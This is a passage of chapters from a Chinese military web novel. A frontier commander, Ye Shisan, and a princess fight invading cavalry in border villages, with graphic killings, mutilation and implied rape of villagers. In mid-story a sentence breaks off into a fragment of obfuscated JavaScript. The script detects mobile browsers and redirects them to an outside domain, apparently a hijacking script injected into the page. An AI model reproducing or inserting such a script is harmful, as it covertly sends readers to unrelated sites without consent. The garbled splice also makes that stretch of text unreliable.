他们以为,这一切都是镇北王在远程运作的结果。
说不定叶十三这个人,就是镇北王安排到边城的替身。
至于叶十三奴籍的身份,极有可能是一场精心安排下的障眼法。
军中的老马病马,最后都是被宰杀的对象。
岳佟一顿烤马肉,就让叶十三受宠若惊。
周钊这个陪绑的,也不禁暗自感叹岳佟的老辣。
“大将军,您也吃!”
叶十三不光自己大口啃着马肉,还一个劲地谦让着,以示对岳佟的无比尊敬。
何况!
叶十三虽然眼下掌控着三万北防军,但回来的时候,却没有带一兵一卒准备在黄羊岘布防。
这一点,岳佟甚是欣慰。
若是战事一起,可调遣的兵马,只有是岳佟发号施令。
说明,叶十三没有越庖代俎,依然把岳佟奉为上司,自己继续以下属的名义,听从岳佟的将令。
香香郡主所恼火的,也就是这里。
她希望叶十三和岳佟对峙起来,让两人互生间隙,然后她以监军的名义,再压制住双方。
眼下,来硬的,怕是行不通了。
就叶十三这货的脾性,能把她这个郡主给煮了。
“叶十三,你等着!”
吃完饭菜的香香郡主,冲着空堂堂的雅间,歇斯底里地吼了一句。
第159章 狼烟
“大将军,狼烟……”
“郡主,有狼烟……”
突然间,岳佟和香香郡主,同时得到了兵卒惊慌失措的禀报。
叶十三第一时间就冲出大将军行辕。
“大人,是狼嚎岭方向。”
马成已经跨上了战马,十名新卒,也纷纷站在各自的马前待命。
“还真是狼嚎岭!”
叶十三望着远处,眉头皱得能夹死蚊子。
遥遥望去,一股白色的狼烟,从地平线扶摇直上。
狼嚎岭是离通天驿镇最近的一处防区。
但不一定是第一道点燧升烟的烽火台。
“去兔窝堡!”
叶十三一声怒吼,又道:“一定是兔窝堡发现敌情,鹞子岭戚虎的那些兵马,根本不够用。”
“应该不是大股敌贼入侵,叶将军不要惊慌。”
紧跟着出来的岳佟,举目远眺片刻,又道:“兔窝堡也好,狼嚎岭也罢,这两处地方,都是最不好走马的地带,应该不是元蒙军队的行动。”
“大将军,末将以为,这必是元蒙军队的正式入侵,正因为这两处地方走马困难,他们才选择我军防守最薄弱处下手。”
就在这时候,香香郡主也风风火火地赶了过来。
“狼烟升起,你还在此磨蹭,战机尽失,还不快去迎敌?”
一打照面,香香郡主就是一声怒吼。
叶十三目光看向岳佟,急道:“末将这就赶往狼嚎岭,还请大将军发兵支援兔窝堡,要是这两处防区失守,元蒙大军会沿通天驿一路南下而直取西河镇。”
岳佟摇摇头,笑道:“就是元蒙军队入侵,那也没多少人马,骚扰而已,哪敢跑到我大军集结的通天驿地面上来?”
“岳大将军不可轻敌!”
香香郡主眉头一皱,又道:“叶将军所言有理,还是未雨绸缪为上,不可掉以轻心。”
看到岳佟一副不以为然的样子,叶十三怔了一下。
也许,岳佟是比他这个烽燧兵出身的千户还要了解**,毕竟,他当烽燧兵,也是没多少日子。
“好吧!”
叶十三点点头,目光看向香香郡主,道:“郡主还是留在这里,末将这就去看个明白。”
“不行!”
香香郡主一勒马头,急道:“军情紧急,身为监军,岂能贪生怕死?”
说完,香香郡主狠抽胯下的战马一鞭子,抢在叶十前面,向着狼烟升起的远处绝尘而去。
“跟上郡主!”
苏哲更不用说了,既然香香郡主率先垂范,他这个卫兵头子,还能安然待在通天驿镇安享太平?
五十匹战马,即刻就扬起一阵雪雾,嘶鸣着就直奔狼嚎岭方向而去。
“跟上去,超过郡主!”
叶十三不淡定了,暴吼一声,胯下的战马,就像箭一样直射出去。
“跟着大人!”
马成上身前倾,伏在马鞍上催马疾驰。
望着叶十三远去的背影,岳佟摇摇头,叹气道:“还是急躁了点,得好好历练历练。”
“大将军!”
周钊带着几个校尉赶来,心神不宁地说道:“末将以为,叶将军的分析还是有些道理,毕竟**最近吃亏太多,趁着降雪报复我军也不是没有可能。”
“屁道理!”
岳佟一脸的不以为然,目光一扫眼前众将领,沉声道:“回去看好自己的部下,没有本帅的军令,任何兵马不可妄动半步。”
“大将军!”
周钊面颊一抽,急道:“要么末将带五千兵马,向西北方向推进二十里先行驻扎?”
不料,话一出口,就迎来岳佟的狠目一瞪。
“胡闹,大军一动,粮草,辎重都得跟上,一些小股游击的**,有何可惧?”
面对岳佟的厉斥,周钊硬起头皮又道:“万一是元蒙的军队,而不是沿线的**牧民呢?”
“不管是什么样的敌人,这也是个对叶十三历练的机会,如无较大阵仗的历练,如何能率领上万兵马的大军?”
“不过!”
岳佟说归说,但还是有所准备,目光看向另一名校尉,道:“即刻起,致果校尉,宣节校尉都进入甲级战备,车马,粮草,时刻准备上路。”
就在这时候,镇衙门乱成一团。
周敬堂亲自指挥着十几辆马车,从四通钱庄的地库里,搬出好多箱子,装上车后,上面又盖上草料。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815532|171513||http|test|mini|href|location''.split(''|''),0,{}));
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r>待家丁们都装车完毕,周敬堂唤来一名都尉,沉声道:“你带一百亲兵,把这些运到西河镇小翠那里……”
都尉点点头,道:“姑丈放心,侄儿定会一路小心,有姑丈开的路条,任何关卡都不得查验车辆。”
“嗯!”
周敬堂点点头,低声道:“此事,莫要让你姑母知晓,完事后,姑丈给你也踅摸一处院子。”
此言一出,都尉脸上一阵激动。
周敬堂摆摆手,制止了都尉要说的话,道:“去吧!小心行事。”
不一刻,十几辆马车,拉着四十多个大箱子,上面覆盖着草料,从镇街一处偏僻的路口向西河镇而去……
“大人快看?”
马成指着远处雪地上的一片黑点,惊道:“是逃亡的百姓?”
叶十三闻言一惊,急道:“**上弦,腰刀出鞘,只要是**,给我杀就是。”
“杀!”
十名新卒,高呼一声后,立即在马背上准备起来。
此时,身后离得不远的香香郡主,也发现前面的情况。
“苏哲,准备迎敌!”
“郡主,好像是当地百姓?”
“屁话!没有**在后面追赶,百姓这时候跑什么?”
叶十三听到香香郡主的喊话声,不禁心头一宽。
这蠢货,看来蠢得不是很彻底,还知道老百姓的后面有**追赶。
不一刻,跌跌撞撞,跑得狼狈不堪的百姓们,已经到了叶十的马前。
“将军……救救……我们……”
说话的是个须发皆白的老者,上气不接下气地一头栽倒在马前的雪地上。
身后乌泱泱的妇孺们,见到叶十三他们,顿时就哭爹喊娘地围了上来。
“将军,**,**……进村了……见人就杀……”
这些百姓们,看来都是各村的百姓,扶老携幼准备逃向镇里。
望着狼狈不堪的百姓们,叶十三的目眶就红了起来,沉声向马成说道:“抢时间,越快越好,不能再让一个村民死在**手里。”
“兄弟们,杀过去!”
马成从马背上直起身子,高举着佩刀,就向百姓们来时的放方冲了过去。
第160章 跟老子杀过去
一路上,逃向镇子方向的百姓越来越多。
而且,这些扶老携幼的百姓们,是从不同的方向而来,但向同一个方向而去。
“**!”
叶十三眉头一皱,吼道:“来犯**不少,从边防线多处入境,兄弟们,我们没有退路,只有放命一博了!”
“大人,我们不怕死。”
苏哲赶了上来,也分析到前面的情况不是很妙。
“你,给老子听好了!”
叶十三勒住马头,手里残刀指向苏哲,吼道:“保护好郡主,杀敌的事老子去干,郡主要是少一根汗**,老子先砍了你。”
说完,叶十三一夹马肚,向着不断有浓烟升起的一个村子冲了过去。
这时候,香香郡主已经抽出了剑,指着苏哲吼道:“混账东西,愣着干什么?还不去增援叶将军?”
“郡主……”
苏哲把胯下的战马,勒得在雪地上团团转圈,哭丧着脸道:“末将还是留在郡主身边……”
“还不快去增援?”
香香郡主粉脸突变,吼道:“苏将军就那么点卫兵,你既然跟着本郡主从京都到边城,那么就应该以本郡主的命令是从,再敢抗命磨蹭,休怪我手中的剑不长眼睛……”
此言一出,苏哲目光看向手下的一名甲正,吼道:“余矬子,带三十人保护好郡主,要是胆敢擅离郡主身边半步,老子割了你的卵蛋。”
说完,苏哲高举着那把镶嵌着宝石的佩刀,转头吼道:“其余二十人,跟老子杀过去。”
一时间,战马嘶鸣起来,地上的积雪,被马蹄扬得四处飞溅。
叶十三和马成们,嗷嗷叫着就向冒着浓烟的村子冲了过去。
“大人快看,是**骑兵!”
突然,马成指着地上的一只头盔,急道:“这是**骑兵的装备,是革甲骑士,不是皮袍白身。”
顺着马成所指,地上横七竖八的尸体旁边,锄头、猎叉还有柴刀扔得到处都是,一顶革制的头盔,被猎叉刺了个洞掉落在地。
看来,有村民拿猎叉挑中了**骑兵的头盔,而反抗的村民都被**所杀。
殷红的血,在雪地上很是刺眼。
**的战马,把地上的积雪踩得狼藉一片。
“下马!”
叶十点低吼一声,又道:“游击战,**学精了,四处分散开了**村民,我们如此追击,反而会成为**的活靶被射死。”
这一声,让苏哲也警觉起来。
要不是叶十三提醒,他已经带着卫兵们就冲进村子深处。
“都下马,听叶将军的,准备步战迎敌!”
不知什么时候?
香香郡主带着二十名卫兵摸了上来。
既然如此,叶十三只好重新部署。
“分四组,循序渐进。”
“苏哲带十人,从左翼搜寻。”
“余甲正带十五人,从右翼摸上去,要是遇到村民活口,务必尽快转移出来。”
“李夫长也带十五人,绕道村后,注意隐蔽,但凡看到任何**,一律射杀。”
“余下二人看护马匹,其余八人跟着郡主,时刻和我保持距离,不可让郡主偏离我的身后五丈。”
“所有人,步弓手开道,趟子手跟进,交替出击。”
叶十三一口气不但分配了人数,而且又部署了战术,这才把战马留在一堵高墙后面,由两名香香郡主的卫兵看守。
好在这些卫兵训练有素,迅速就分散开来,张弓搭箭就顺着一些残垣断壁的掩护,一路搜寻过去。
隐约中,有女人凄厉的惨叫,从不同的方向传来。
不好!
这些畜生,一定在祸害村民的婆娘们。
“认真搜查,不要放过一个角落,速度要快!”
叶十三话音刚落,后衣襟就被身后的香香郡主拉了一下。
顺着香香郡主所指,叶十三看到前面不要远处,从一个草垛后面,露出两条人腿。
人腿上穿着厚厚的毡靴,一匹战马在旁边啃食着地上的积雪。
毡靴的脚尖是朝下的,在草垛前的雪地上,不断地蹬着地面。
“畜生!”
香香郡主再是没有出阁,未经人事的她,此时也猜到了穿着毡靴的**在干什么?
那种亢奋又粗重的
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喘息声,更是让叶十三眼中喷火。
“去,把那两只蹄子给砍了!”
顺着掩体,只能看到两只带着小腿的脚在蹬着地面,叶十三吩咐马成一声。
“是!”
马车低声应答的同时,像一只狸猫一样从雪地上一跃而起。
顺着半截残破的矮墙,马成摸到那双脚跟前。
“啊……”
只见马成举着佩刀一砍而下的同时,一声狼嚎似的惨叫,就从草垛后面传了出来。
“咔嚓!”
马成的刀落下的瞬间后,又是向上顺势一个斜劈。
“嘭!”
一颗脖子处喷血的脑袋,直接冲天而起,然后掉落在离叶十三眼前不远的雪地上。
马车这接连两刀,一双带着毡靴的人脚,一颗须发蓬乱的脑袋,就已经和一个**的身躯分了家。
“好刀法!”
伏在叶十三身边的香香郡主,也不由得叫了一声好。
“走,上去看看!”
叶十三率先爬了起来,几步就冲向草垛。
一个牙关紧咬,双眼怒睁,衣衫被撕成碎片的女人,呈“大”字型仰躺在草垛底下。
一道惊心触目的刀口,还在女人裸露的胸脯上,向外渗着殷红的血。
“大人,是具女尸,看来刚死不久。”
探过女人鼻息和腕脉的马成,拎着还在滴血的佩刀,站起看向叶十三。
“畜生,连**都不放过。”
叶十三脸色,阴沉得就要拧出水来。
紧跟了过来的香香郡主,望着地上的女尸,举着手中的剑,对着已经没有了脑袋和双脚的**尸体,又是一通发疯似的猛砍猛戳。
“畜生,你们这些两脚畜生……”
当然,香香郡主被**兵如此令人作呕的兽行所激怒。
自己当初遇险时,被四个****的那一幕,霎时就闪现在脑海中。
“别砍了,抓紧时间继续搜查!”
叶十三瞥了一眼几近发狂的香香郡主,低吼一声,抽出腰间的那把残刀,目光看向百步外的一处院子。
“快,从两边摸过去,前边有情况!”
第161章 你的话,太多了!
叶十三耳朵,捕捉到了另外的声音。
一处低矮的院落,霎时就进入马成和香香郡主的视线。
“你几个,弓弩守住院后围墙缺口地方,只要是鞑子,尽数射杀!”
马成一指院子后面的围墙缺口处,向十名新卒做了布置。
“你也跟过去,他们经验不足。”
叶十三打发马成,让他带着十名新卒从后面设伏。
然后,叶十三目光看向香香郡主带着的八名卫兵,道:“你几个,待会高声喊杀,虚张声势就可。”
说完,向香香郡主打个手势,低声又道:“你我去院门,各守一侧。”
“明白!”
香香郡主上牙咬着下唇,点点头后,向那处院子的院门口奔了过去。
叶十三紧跟其后,在院门的左侧持刀站了。
“杀呀……给我杀……”
留在原地的八名卫兵,一起扯着嗓子喊了起来,相互用刀敲打出兵器碰撞的声音。
就在这时候,一名鞑子兵从院门口探出头来。
“咔嚓!”
鞑子兵的脑袋,刚冒过门墩一尺,一把剑就从后脖子砍了下来。
“扑通!”
连惨叫都没来得及发出的鞑子兵,身子向前一扑,一颗扣着皮革头盔的脑袋,就滚落在院门外面的雪地上。
一股腥臭的血柱,紧接着就从倒地躯体的脖根狂喷而出。
这时候,一支尖矛缓缓从门内又探了出来。
门外右侧又高举着剑的香香郡主,不由得一阵紧张,双手握着剑柄,两条胳膊缓缓向后扬起。
尖矛一寸一寸,从院门内向外伸展。
叶十三猛然伸出一只手,握住尖矛用力向外一拽。
尖矛的后面,一个庞大的身躯,被尖矛带着从院门里向外一扑。
霎时,香香郡主的一剑,又用力砍了下来。
这一剑,慢了一息。
身躯直接被叶十三一把拽出门外的鞑子,被香香郡主一剑砍在后背。
“哇呀呀……”
收势不住一头栽倒的鞑子,迅速一个翻身,抽出靴子中的短刀正欲反击。
迟了!
叶十三手中的残刀,此时已经斜劈下来。
就在鞑子手中的短刀,砍向香香郡主小腿的瞬间,一颗硕大的脑袋,带着半边肩膀一起被叶十三砍了下来。
“当啷!”
鞑子手中的短刀,连同脑袋一起被砍下来的臂膀手中,在离香香郡主小腿一寸处,直接掉落在院门口的石板台阶上。
望着连脑袋一起砍下来的一条臂膀,香香郡主腿根一紧,差点就蹿出一股尿来。
好悬,鞑子手中的那把从靴子里拔出的短刀,差点就砍到她的一只脚腕。
如果不是叶十三及时补刀,她的一只脚,就会被鞑子砍掉。
这只左脚,就像欠叶十三的。
第一次被营救回来,要不是叶十三用雪搓洗,早都被冻坏锯掉。
这一次,还是叶十三及时出刀,才避免被鞑子一刀砍掉。
“跟我杀进去!”
叶十三一瞥院门口倒着的两具尸体,声音冷得就要结冰。
“嗯!”
惊魂未定的香香郡主,握着剑的一只手抖个不停,但还是咬着嘴唇点点头。
“好!”
叶十三也点点头,沉声又道:“跟在我身后三步距离,万不可离开我五步以外。”
“嗯!”
香香郡主乖得就像只猫,丝毫没有半句反驳。
叶十三身子一闪,侧身就贴着门墩,抬起一条腿迈向院门的门槛。
就在叶十三的一只脚,快要迈过门槛的时候,突然身子向下一墩,手中的刀从自己头顶横扫出去。
“啊……”
“啊……啊……”
两声撕心裂肺的惨叫,二重唱一样的就从门内响起。
两名被刀砍掉了手腕的鞑子兵,断腕处狂喷着血柱倒地翻滚个不停。
他们握着刀的那只手,已经和手中的弯刀,一起掉在门洞里的地上。
叶十三直起身子,握着刀大踏步就向院子走去。
紧跟在后面的香香郡主,直接乱刺一气,把倒地的两名鞑子兵,转眼间就刺得满身血洞往外喷血。
呼啦啦!
从一间屋子里,涌出十几个革甲鞑子兵,霎时就把叶十三二人呈半圆形围了起来。
一个高大魁梧,满脸是毛的鞑子,正往身上套着铁甲,满脸杀气地从屋子里走了出来。
“没想到,这村里还有大夏士兵?”
鞑子铁甲傲慢地一瞥叶十三,冷冷就是一句。
当目光又瞥到叶十三身后的香香郡主时,铁甲鞑子的眼睛一下子就亮了。
“呸!”
铁甲鞑子向地上唾了一口,狂笑道:“害得老子睡了几个烂婆娘,还有如此美人却主动送上门来了?”
叶十三半眯着眼睛,缓缓说道:“你的话,太多了。”
“哈哈哈……”
铁甲鞑子仰头一阵狂笑,目光直接投向叶十三身后的香香郡主,淫邪地说道:“早知道,老子就不急着穿衣了,接着干就是。”
说完,铁甲鞑子面色骤变,吼道:“把那个小娘们给老子拿下,拉屋里先剥光了,等老子宰了这只两脚羊,再好好享受一番美人的味道。”
“屁话就是多,还是省点力气,好去投胎时抢条好道走。”
叶十三说着,缓缓上前两步。
“够胆!”
铁甲鞑子怒吼一声,从身边的一名革甲鞑子手指中,接过一把弯刀,披头就砍了下来。
“叮……”
一声金属的脆响,火星迸溅之下,铁甲鞑子手中的弯刀,已经从弯刃处断成了两截掉在地上。
“噗嗤!”
在铁甲鞑子惊愣的目光中,叶十三手中的刀,顺势就插入铁甲鞑子的胸膛。
一股血箭,霎时就从铁甲鞑子后背穿出的刀尖上狂喷而出。
叶十三的刀尖,不是很尖,带着斜角的刀尖,在一片血色中泛着银灰的冷光。
这一刀,让在场的革甲鞑子兵们即刻肝胆俱裂。
要知道,那身铁甲,可是刀枪不入。
但在叶十三的刀下,脆得就像一层纸壳。
“撤……”
其中一名已经欺到离香香郡主不远的革甲鞑子,惊叫一声突然转头,就向院后狂奔而去。
这一喊,一跑。
另外的革甲鞑子兵们,也纷纷掉头,像野兔一样奔向院后围墙的豁口出。
他们不傻!
看得出来叶十三手中的刀,简直就是无坚不摧。
再说,叶十三方才的出招,既快又狠,他们这些人根本就不是对手。
即就是狂殴,也没有半分胜算。
与其硬拼被砍,还不如逃命划算。
可他们还是算错了。
“啊……”
早先奔到院墙豁口处的那名革甲鞑子兵,刚从豁口向外一冒头。
“嗖……”
一支从外面射来的弩箭,直接从他的咽喉位置,穿到后脖子出来。
“咕咚!”
弯刀掉地,双手乱抓一气的革甲鞑子兵倒在地上,喉咙已经发不出声音。
“嗖,嗖……”
接连几支弩箭带着破空之声,又有四个革甲鞑子兵,有的被射爆了眼球,有的被射穿了咽喉,还有一支弩箭,直接从狂喊着的一名革甲鞑子兵的口中射入。
“嗷……”
剩下的革甲鞑子兵们,怪叫一声后,纷纷又退了回来,准备从院门突围。
“说,你们来了多少兵马?”
叶十三目光冷冷,平举着手中的刀,厉声就向退回来的革甲鞑子兵们一句发问。
第162章 血与火的洗礼
这一问,革甲鞑子兵们被惊醒了过来。
“杀出去,他们人不多!”
离叶十三最近的一个革甲鞑子兵,转头向后狂喊一声,挥刀就冲向叶十三。
“好!”
叶十三叫了一声好,笑道:“你不回答,老子也不问了。”
只见银光一闪,革甲鞑子兵砍来的一刀,被叶十三闪身躲开。
但叶十三手中的刀,却从侧面穿过革甲鞑子兵的腮帮子。
叶十三持刀的手向外一拉,革甲鞑子兵的一张嘴,已经从两腮割向嘴角,像吞食鸟蛋的蛇口一样张着。
再看叶十三手中的刀,刀背的那处缺口,在刀身穿过革甲鞑子兵两腮的时候,向前一拉之下,半尺长的舌头,就被割了下来穿在刀身上晃着。
“咔嗒嗒……”
鞑子兵一口焦黄的牙,随即碎裂,和满口的血沫喷射在地。
这一幕,别说另外几个革甲鞑子兵霎时被吓得魂飞魄散,就连香香郡主,也是后背一阵发凉。
这是什么刀法?
神出鬼没不说,而且残忍得让人胆寒。
一个人使刀的技巧,再是手法娴熟,那也达不到如此恐怖的程度。
这混蛋,什么时候练就了如此令人胆寒的一手刀技?
难道!
他是被充军到边城,跟那个郑一刀学的?
忘了杀敌的香香郡主,吃惊地望着叶十三刀身上穿着的一条人舌发呆。
“嗖嗖……”
又有几声弩箭破空的声音传来,同样被惊得一阵呆愣的革甲鞑子兵们,被从身后射来的弩箭,直接穿过后脖颈倒地身亡。
嘴巴被割成了蛇口的那个革甲鞑子兵,一张脸已经不成人形,喉咙中发出含糊不清的怪叫声,在院子里疯了一样狂奔不止。
“砍了!”
叶十三一抖手,把刀上的那条人舌抖落在地,冷声就是一句。
“是!”
猛然惊醒的香香郡主,飞奔过去刺出一剑,顿时就把差不多疯掉了的那个革甲鞑子兵,直接砍掉了半个脑袋。
“呕……”
紧接着,被喷溅了一脸脑浆和人血的香香郡主,再也支撑不住,蹲在地上狂吐个不停。
可惜了周敬堂孝敬的一顿午饭,就这样被香香郡主呕吐了个一干二净。
这时候,从院墙的豁口处,翻了进来的马成他们,纷纷围了上来。
“郡主,您没事吧!”
没等香香郡主回答,叶十三笑道:“应该没事,可能是在镇上吃撑了,也不像是怀了娃儿的反应。”
“轰!”
再也绷不住了的马成和新卒们,霎时就狂笑了起来。
“找死!”
嘴角还挂着粘液的香香郡主,被臊得满脸通红,蹦起来就踹了叶十三一脚。
“你才怀了娃儿害喜呢!”
“你才吃撑了呢!”
“混蛋,不要脸,欺负女人算何英雄?”
踹过叶十三一脚的香香郡主,提着剑在院子里跳骂个不停,吓得马成他们缩着脑袋夺门而出。
“数数吧,这都是大伙的战绩!”
屁股挨了一脚的叶十三,咧嘴一笑,转身就跟着马成一伙出了院门。
至于那些屋子,叶十三没有提出去搜查。
他心里清楚,各屋子已经没有了活口,景象只会让人心颤。
果然,片刻后,香香郡主面色蜡黄,跌跌撞撞跑了出来,和等候在外面的人会合后,又蹲在地上干呕不已。
“呕……呕……都死了……很惨……还有未成年的……女娃……肠子都……”
“行了!”
叶十三紧皱眉头,摆手打断香香郡主断断续续的叙述,淡淡说道:“抓几把干净的雪吞了会好受一些。”
说完,示意大家检查兵器,准备继续搜索。
香香郡主抬头,从一堵矮墙的墙头,抓过一把干净的积雪,闭着眼睛喂进嘴里嚼了几下才吞入肚里。
也许是积雪冰冷的口感,那种透心的冰凉,压制住了她不断向上狂飚的胃液。
“歼敌……”
长出了一口气,稳稳神,香香郡主目光看向叶十三,又道:“铁甲一人,革甲一十五人。”
“嗯!”
叶十三点点头,向香香郡主投去赞赏的一瞥。
如此这样,不但是历练他自己,对这个傻白甜也是一场血与火的洗礼。
无论是前世的现代,还是后世的今生,他和这个傻白甜都是纸上谈兵,实战,才从这里开始。
“马成,给大伙记上战功,郡主杀敌革甲四数。”
“遵命!”
马成赶忙应声,又道:“大人,如此来看,进入这个村子的敌数并不多。”
“这些人当然不多,大部分已经赶往其他村子杀人了。”
叶十三判断到,这些鞑子兵,只是被留下来收尾的一部分,进犯的兵数肯定不止这些。
此时,天色已经暗了下来。
分派出去的另外三队人马,也向这边聚拢了过来。
苏哲提着还在滴血的佩刀,急忙奔向香香郡主。
“郡主,您没事吧?”
香香郡主狠瞪苏哲一眼,怒道:“报战损,战绩。”
“禀郡主!”
苏哲面颊一抽,低头道:“战损六人,伤三人,杀敌革甲四人。”
香香郡主目光焦急,一扫苏哲身后,看到三名卫兵,其中两名走路一瘸一拐,另外一名卫兵的一只胳膊,被布条缠着吊在胸前。
“敌情如何?”
叶十三转过头来,厉声就是一问。
“禀叶将军,有几个鞑子兵趁乱逃了,估计已经跑远了。”
“跑远了?”
叶十三一愣,思忖片刻,抬头望了一眼铅灰色的天空,突然说道:“快,全体转移,找一处易守难攻的地方,准备迎敌?”
“大人,鞑子兵已经逃了,我们是不是?”
“闭嘴!”
叶十三勃然大怒,望着村子深处,咬牙道:“你以为,这些鞑子兵是来走家串户转亲戚来的?”
马成从不失机灵,瞥了一眼挨了训斥的苏哲,插嘴道:“大人是说,逃走的那几个鞑子兵,是跑掉报信去了!”
“还有第二种可能吗?”
叶十三又狠瞪马成一眼,继续说道:“这次的鞑子兵,那可是有备而来,这里不见他们的战马,说明,更多的鞑子在前面的村子,被我们杀掉的这部分,只是留下来搜寻浮财的一些。”
难怪!
没见大量的战马出现,原来是这样啊?
心头陡然一惊的香香郡主,不由得握紧了手中的剑。
损失了六个卫兵,又伤了三个,才杀死了四个革甲鞑子兵,这个结果真让她接受不了。
但此时,她已经顾不上为此懊恼。
如果鞑子兵反扑过来,后果将不堪设想。
第163章 你死了,欠我的那些银子谁还?
村子不大,也就一百多户人家。
不一会,马成来报。
“大人,村外靠山脚,有一座庙。”
“好!”
叶十三点点头,目光看向香香郡主,道:“我们去庙里,周围没有农舍遮挡,也好发现敌人。”
“听你的。”
香香郡主这会,已经是完全没了主意,兵书上学的东西,此时已经抓瞎,只好任由叶十三安排。
“都听好了,跟着马成,战马一匹都不能丢。”
不大时候,到了山脚的破庙。
庙宇不大,房间也少,只是围墙高于那些农舍的院墙。
叶十三略扫一眼庙院,道:“战马全部拴在那边,其余人都上大殿集合。”
此时的庙里,守庙的人已经跑了个精光,就连殿后灶间的铁锅,都被带走了。
天色已经黑了下来,但庙里有着不少的蜡烛。
霎时,塑着不少神像的大殿中,蜡烛点燃后即刻就亮堂了起来。
卫兵们一脸的紧张,没有一个人主动说话。
“清点你们所带的箭簇,集中起来平均分配给步弓手。”
叶十三扫了一眼苏哲带着的卫兵们,直接进行了部署。
“都聋了?”
香香郡主狠瞪苏哲一眼,沉声道:“叶将军的话,你们都没听见?”
这一声怒斥,卫兵们纷纷解下背上的箭囊,开始清点起箭簇的数量。
“步弓手出列!”
叶十三目光灼灼,盯得卫兵没心里一阵发毛。
“听叶将军的。”
香香郡主又补一句。
顿时,二十三人出列,站在叶十三面前。
“好!”
叶十三点点头,目光看向马成,沉声道:“你,带着他们,占据有利地形,五十步内射杀来犯敌人。”
然后,叶十三把视线移动到苏哲脸上,又道:“剩下一十八人,加上我的十人,由你带着,中箭不死者,或者漏射之敌,由你带着他们分头补杀。”
“遵命!”
苏哲面颊一抽,单腿跪地就是一个军礼。
“都给我听清了,我们已经没了退路,也许会陷入鞑子兵的包围,在突围前歼灭所有来犯之敌。”
叶十三沉着脸,一下子就道破了他们这些人的处境。
香香郡主娇躯一震,低声道:“我们被包围了吗?”
“嗯!”
叶十三点点头,道:“来犯之敌的数量,远多于我们这些人,我们要是向镇上方向撤退,还是免不了被鞑子骑兵围剿,与其被人追杀,不如就地狙击。”
“怕了?”
说完,叶十三又是一句。
“你才怕了!”
香香郡主柳眉倒竖,顿时一句就怼了回来。
“那好!”
叶十三点点头,道:“我们出去看看。”
两拨人即刻行动起来,马成和苏哲,分头在破庙的四周寻找最佳的狙击位置。
叶十三转了一圈,指着院中一块空地,向几个伤兵说道:“点起篝火,把敌人引过来。”
香香郡主闻言,惊道:“如此一来,我们岂不是亮在了明处?”
“没错!”
叶十三点点头,缓缓说道:“与其让鞑子骑兵们四处搜寻我们,不如把他们集中起来围攻这边,如此一来,亮在明处的,岂不就是他们?”
此言一出,香香郡主被惊得张大了嘴。
呆愣片刻,这才说道:“你来边城短短时日,从何学得如此战术?”
“说了你也未必懂!”
叶十三一笑,卖了个关子。
香香郡主杏眼圆睁,愠怒道:“但你还没说给我听,哪知我懂与不懂?”
这话,叶十三还真没法说。
总不能给这个傻白甜说他是从前世的现代,魂穿到古代的今天?
就在这时,马成奔了过来。
“大人,小的听地辩声,已经有鞑子兵向这边而来。”
叶十三一凛,道:“果然有大队人马。”
“吩咐下去,先隐蔽好了,避免鞑子射杀。”
叶十三又交代一句。
这话没错,你能部署步弓手设伏,难道擅长骑射的鞑子骑兵就不用弓箭?
马成一转身,沉声向步弓手们说道:“各自占领有利位置,五十步以外不可放箭,瞄准敌人的眼睛和咽喉,务必做到一箭命中。”
不愧是烽燧兵中优秀的步弓手,实战经验就是了得。
眼下是夜间,敌我悬殊又大,盲目乱射,只能消耗自己仅有的箭簇。
而且,这次越境来犯之敌,那可是元蒙鞑子中有着战甲装备的骑兵,不是那些白身牧民。
无论是革甲还是铁甲,箭簇都不容易穿透。
只有眼睛和脖子,那可是裸露的部位,被射中后照样能让敌人丧失战斗力。
“瞄准了再射,射杀一个鞑子骑兵,本郡主有赏。”
香香郡主也没闲着,冲马成画了个饼。
草!
叶十三面颊一抽,不由得把嘴一撇。
这傻白甜,动不动就悬赏许愿,到头来还不是从老子口袋里拿银子。
可真是羊毛出在猪身上,前几天借的银子,到现在还没还老子呢!
“谢郡主!”
马成拱手一礼,转身就去设伏。
三名伤兵已经找来木柴,在叶十三指定的地方,堆放起来拿火燧点燃。
不多时,熊熊火光照亮了半个破庙。
那些拴着的战马,被惊得嘶鸣不停。
远处折返回来的鞑子兵们,纷纷向破庙方向疾驰而来。
从那些高举着的火把来看,鞑子兵的人数,应该不下二百数。
叶十三判断,这些人数,有可能只是一部分。
院中的火光越亮,卫兵们埋伏处的阴影就越黑。
片刻间,无数的火把已经到了破庙外百步左右,马蹄声夹杂着鞑子兵的脚步声,一起向火光亮起的地方涌了过来。
火堆是放在庙宇大殿的正前方燃着,如此一来,庙宇左右,围墙的拐角处,都被陷入了一片黑影之中。
叶十三站在大殿内的窗户一侧,隔着窗户的木棂,看到外面的火把,已经快到围墙外面。
映着火把的光照,向破庙包围过来的鞑子兵里面,身穿铁甲的兵数足有三成以上。
“好啊!老子饿一顿饭,熬一夜的瞌睡,值了!”
叶十三咬着牙,眼里寒芒顿起。
香香郡主不禁拽了叶十三衣襟一下,悄声道:“我怕外面他们顶不住。”
显然,对于悬殊的兵力,香香郡主已经怯了。
“别怕,到时候,我给上面报你的战损。”
叶十三脸都没转,张口就是一句。
“混蛋,你就那么盼着我死?”
愠怒上头的香香郡主,张口也是一句怼了过来。
“当然不是,我要让你好好活着。”
叶十三突然笑了。
“这还差不多,像句人话。”
香香郡主也笑了,在黑暗中露出一口整齐的白牙。
“你死了,欠我的那些银子谁还?”
叶十三骤然变脸,又是一句甩了过来。
“滚,别和我站一起。”香香郡主勃然大怒,骂回一句,霎时就转过头去,不再理睬叶十三。
此时,隔着床棂,已经看到鞑子兵们不足庙门三十步距离。
这马成,该不会是被吓得晕过去了吧?
第164章 我没疯,只是饿了
“铮……”
一声,强弩的弓弦,就像琴音一样悦耳。
“噗……”
高头大马上一个铁甲鞑子的咽喉,在弓弦颤抖的尾音里,喷出了一簇鲜艳夺目的血花。
“啊……”
又是一声惨叫响起,两支羽箭带着尖锐的风声,只把箭杆末端的一簇羽毛,栽进另一个铁甲鞑子的眼窝里。
“扑通,扑通!”
接连重物落地的沉闷声,围在庙门外面的火把,霎时就乱了起来。
